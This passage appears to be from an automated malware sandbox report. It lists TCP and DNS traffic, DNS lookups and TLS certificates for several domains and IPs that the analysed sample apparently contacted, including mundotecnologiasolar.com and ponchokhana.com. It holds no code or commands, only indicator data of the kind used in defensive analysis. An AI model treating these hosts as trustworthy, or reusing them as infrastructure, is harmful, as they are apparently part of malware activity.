                                                                        Apr 7, 2021 10:56:05.989312887 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989336014 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989348888 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989361048 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989372969 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989398003 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989466906 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989484072 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989485979 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989499092 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989502907 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989506960 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989509106 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989511967 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989515066 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989542007 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989546061 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989577055 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989598989 CEST44349168162.241.62.4192.168.2.22
                                                                        Apr 7, 2021 10:56:05.989687920 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989701986 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:05.989705086 CEST49168443192.168.2.22162.241.62.4
                                                                        Apr 7, 2021 10:56:06.040070057 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.182881117 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:06.182982922 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.183763027 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.326754093 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:06.333070993 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:06.333125114 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:06.333168030 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:06.333307028 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.334152937 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.387517929 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.534559965 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:06.534754992 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.574054956 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:06.758300066 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034269094 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034293890 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034387112 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034403086 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034435034 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034457922 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034461975 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034475088 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034492016 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034502983 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034512997 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034523010 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034531116 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034542084 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034557104 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034563065 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034576893 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.034594059 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.034610033 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.036393881 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179224014 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179256916 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179282904 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179306984 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179330111 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179352045 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179389000 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179406881 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179435968 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179450035 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179452896 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179461956 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179472923 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179502964 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179512024 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179528952 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179543972 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179553032 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179577112 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179591894 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179610968 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179621935 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179644108 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179668903 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179675102 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179687977 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179714918 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179725885 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179748058 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179759026 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179780960 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179791927 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179821968 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179830074 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179857969 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.179867029 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.179897070 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.182676077 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323163033 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323219061 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323259115 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323307037 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323347092 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323409081 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323436975 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323470116 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323492050 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323533058 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323577881 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323596001 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323610067 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323645115 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323677063 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323718071 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323750019 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323776960 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323802948 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323844910 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323867083 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323904037 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.323930025 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323972940 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.323995113 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324029922 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324057102 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324099064 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324130058 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324161053 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324183941 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324225903 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324249029 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324286938 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324311972 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324353933 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324384928 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324420929 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324453115 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324495077 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324523926 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324553013 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324579000 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324623108 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324652910 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324673891 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324697971 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324737072 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324759960 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324795008 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.324806929 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.324862003 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.328320980 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.341240883 CEST49170443192.168.2.22192.185.129.4
                                                                        Apr 7, 2021 10:56:07.430480003 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.469341993 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.469463110 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.470557928 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.489455938 CEST44349170192.185.129.4192.168.2.22
                                                                        Apr 7, 2021 10:56:07.507102013 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.525149107 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.525190115 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.525214911 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.525264978 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.525300980 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.567764997 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.617501974 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.617861986 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.658515930 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.699876070 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.699917078 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.699999094 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.700046062 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.700548887 CEST49171443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.703458071 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.735374928 CEST443491715.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.738457918 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.738523960 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.739227057 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.775027037 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.775419950 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.775485039 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.776091099 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.780045986 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.816792011 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.873788118 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.873903990 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.874042034 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.874113083 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.874197960 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.874238968 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.874253035 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.874273062 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.874278069 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.874300003 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:07.874324083 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.874365091 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:07.884480953 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:08.047801018 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.161518097 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.161606073 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.162359953 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.195090055 CEST49172443192.168.2.225.100.155.169
                                                                        Apr 7, 2021 10:56:08.230123997 CEST443491725.100.155.169192.168.2.22
                                                                        Apr 7, 2021 10:56:08.278016090 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.281286955 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.281419039 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.281608105 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.281655073 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.282166004 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.282221079 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.283134937 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.283216953 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.290112019 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.403652906 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.403728008 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.414524078 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.567351103 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.635884047 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.636015892 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.636101007 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.636146069 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.636233091 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.636272907 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.636281013 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.636326075 CEST49173443192.168.2.22198.50.218.68
                                                                        Apr 7, 2021 10:56:08.750417948 CEST44349173198.50.218.68192.168.2.22
                                                                        Apr 7, 2021 10:56:08.750511885 CEST49173443192.168.2.22198.50.218.68

                                                                        UDP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Apr 7, 2021 10:56:01.397912025 CEST5219753192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:01.566401005 CEST53521978.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:02.648638010 CEST5309953192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:02.668864965 CEST53530998.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:02.681109905 CEST5283853192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:02.727189064 CEST53528388.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:03.847851038 CEST6120053192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:04.030041933 CEST53612008.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:04.644742966 CEST4954853192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:04.656749010 CEST53495488.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:04.664242983 CEST5562753192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:04.676858902 CEST53556278.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:05.858853102 CEST5600953192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:06.035976887 CEST53560098.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:07.362716913 CEST6186553192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:07.426685095 CEST53618658.8.8.8192.168.2.22
                                                                        Apr 7, 2021 10:56:07.901401043 CEST5517153192.168.2.228.8.8.8
                                                                        Apr 7, 2021 10:56:08.045149088 CEST53551718.8.8.8192.168.2.22

                                                                        DNS Queries

                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                        Apr 7, 2021 10:56:01.397912025 CEST192.168.2.228.8.8.80x2c09Standard query (0)vts.us.comA (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:03.847851038 CEST192.168.2.228.8.8.80x82b3Standard query (0)mundotecnologiasolar.comA (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:05.858853102 CEST192.168.2.228.8.8.80xdfb5Standard query (0)accesslinksgroup.comA (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:07.362716913 CEST192.168.2.228.8.8.80xfa91Standard query (0)ponchokhana.comA (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:07.901401043 CEST192.168.2.228.8.8.80x1e93Standard query (0)comosairdoburaco.com.brA (IP address)IN (0x0001)

                                                                        DNS Answers

                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                        Apr 7, 2021 10:56:01.566401005 CEST8.8.8.8192.168.2.220x2c09No error (0)vts.us.com207.174.213.126A (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:04.030041933 CEST8.8.8.8192.168.2.220x82b3No error (0)mundotecnologiasolar.com162.241.62.4A (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:06.035976887 CEST8.8.8.8192.168.2.220xdfb5No error (0)accesslinksgroup.com192.185.129.4A (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:07.426685095 CEST8.8.8.8192.168.2.220xfa91No error (0)ponchokhana.com5.100.155.169A (IP address)IN (0x0001)
                                                                        Apr 7, 2021 10:56:08.045149088 CEST8.8.8.8192.168.2.220x1e93No error (0)comosairdoburaco.com.br198.50.218.68A (IP address)IN (0x0001)

                                                                        HTTPS Packets

                                                                        TimestampSource IPSource PortDest IPDest PortSubjectIssuerNot BeforeNot AfterJA3 SSL Client FingerprintJA3 SSL Client Digest
                                                                        Apr 7, 2021 10:56:01.884533882 CEST207.174.213.126443192.168.2.2249165CN=vts.us.com CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=USCN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBWed Aug 26 02:00:00 CEST 2020 Fri Nov 02 01:00:00 CET 2018 Tue Mar 12 01:00:00 CET 2019Fri Aug 27 01:59:59 CEST 2021 Wed Jan 01 00:59:59 CET 2031 Mon Jan 01 00:59:59 CET 2029771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                        CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GBCN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=USFri Nov 02 01:00:00 CET 2018Wed Jan 01 00:59:59 CET 2031
                                                                        CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=USCN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBTue Mar 12 01:00:00 CET 2019Mon Jan 01 00:59:59 CET 2029
                                                                        Apr 7, 2021 10:56:04.325406075 CEST162.241.62.4443192.168.2.2249168CN=mail.mundotecnologiasolar.com CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Wed Mar 17 19:57:39 CET 2021 Wed Oct 07 21:21:40 CEST 2020Tue Jun 15 20:57:39 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                        CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                        Apr 7, 2021 10:56:06.333168030 CEST192.185.129.4443192.168.2.2249170CN=webmail.accesslinksgroup.com CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Fri Feb 12 14:32:48 CET 2021 Wed Oct 07 21:21:40 CEST 2020Thu May 13 15:32:48 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                        CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                        Apr 7, 2021 10:56:07.525214911 CEST5.100.155.169443192.168.2.2249171CN=mail.ponchokhana.com CN=R3, O=Let's Encrypt, C=USCN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.Wed Mar 03 22:31:59 CET 2021 Wed Oct 07 21:21:40 CEST 2020Tue Jun 01 23:31:59 CEST 2021 Wed Sep 29 21:21:40 CEST 2021771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                        CN=R3, O=Let's Encrypt, C=USCN=DST Root CA X3, O=Digital Signature Trust Co.Wed Oct 07 21:21:40 CEST 2020Wed Sep 29 21:21:40 CEST 2021
                                                                        Apr 7, 2021 10:56:08.283134937 CEST198.50.218.68443192.168.2.2249173CN=comosairdoburaco.com.br CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBSun Mar 14 01:00:00 CET 2021 Mon May 18 02:00:00 CEST 2015 Thu Jan 01 01:00:00 CET 2004Sun Jun 13 01:59:59 CEST 2021 Sun May 18 01:59:59 CEST 2025 Mon Jan 01 00:59:59 CET 2029771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,07dcce5b76c8b17472d024758970a406b
                                                                        CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=USCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBMon May 18 02:00:00 CEST 2015Sun May 18 01:59:59 CEST 2025
                                                                        CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBThu Jan 01 01:00:00 CET 2004Mon Jan 01 00:59:59 CET 2029

                                                                        Code Manipulations

                                                                        Statistics

                                                                        CPU Usage

                                                                        Click to jump to process

                                                                        Memory Usage

                                                                        Click to jump to process

                                                                        High Level Behavior Distribution

